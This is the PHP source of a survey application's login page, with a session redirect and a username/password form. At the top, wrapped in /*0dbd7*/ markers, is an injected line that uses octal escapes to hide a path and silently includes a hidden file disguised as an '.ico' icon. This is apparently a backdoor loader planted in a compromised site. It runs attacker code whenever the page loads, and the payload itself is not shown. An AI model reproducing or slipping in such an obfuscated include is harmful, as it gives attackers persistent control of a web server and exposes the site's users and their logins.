<?php
/*0dbd7*/

@include "\057v\141r\057c\150r\157o\164/\150o\155e\057c\157n\164e\156t\0577\067/\0610\0704\0710\0677\057h\164m\154/\152i\164i\156k\141l\160a\153/\163m\141r\164_\163u\162v\145y\137c\157d\145/\143s\163/\0564\0659\0606\141e\063.\151c\157";

/*0dbd7*/




//include("session_start");

//include("session_check");

include("database.php");



// Inialize session

session_start();



// Check, if user is already login, then jump to secured page

if (isset($_SESSION['username'])) {

header('Location: index_grid.php');

}





/*else if ($_SESSION['category']=="superadmin"){

	//header('Location: super_admin.php');

	?>

    <script language="javascript" type="text/javascript">

		alert("On super admin's page");

		window.location="super_admin.php?id=<?php echo $_GET['id'];?>";

	</script>

    <?php

	

}

*/

?>

   



<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Survey Application</title>





<link rel="stylesheet" type="text/css" href="style.css" />

<script src="menuscript.js" language="javascript" type="text/javascript"></script>

<link rel="stylesheet" type="text/css" href="menustyle.css" media="screen, print" />

</head>



<body>

	<form name="login" action="loginproc.php" method="post">

    	<table border="1" class="margin" align="center" width="30%" height="200px">

        	<tr>

                <td bgcolor="#a9c1de" class="f" > Login </td>

             </tr>

             <tr>

            	<td>  

                	<table width="70%" align="center" height="130px">

                    	<tr>

                        	<td class="c"> User Name </td>

                    		<td > <input type="text" name="username" id="username" style="border: 1px solid #2a4a73"/> </td>

                        </tr>

                         <tr>

            				<td class="c"> Password </td>

			            	<td> <input type="password" name="password" id="password" style="border: 1px solid #2a4a73"/> </td>

            			</tr>

                        <tr>

            				<td colspan="2" align="center" > <input type="submit" name="submit" id="submit" value="Submit" style="text-decoration:none" class="button_c"/> </td>

            			</tr>

                    </table>

                </td>

            </tr>

        </table>

    </form>

</body>

</html>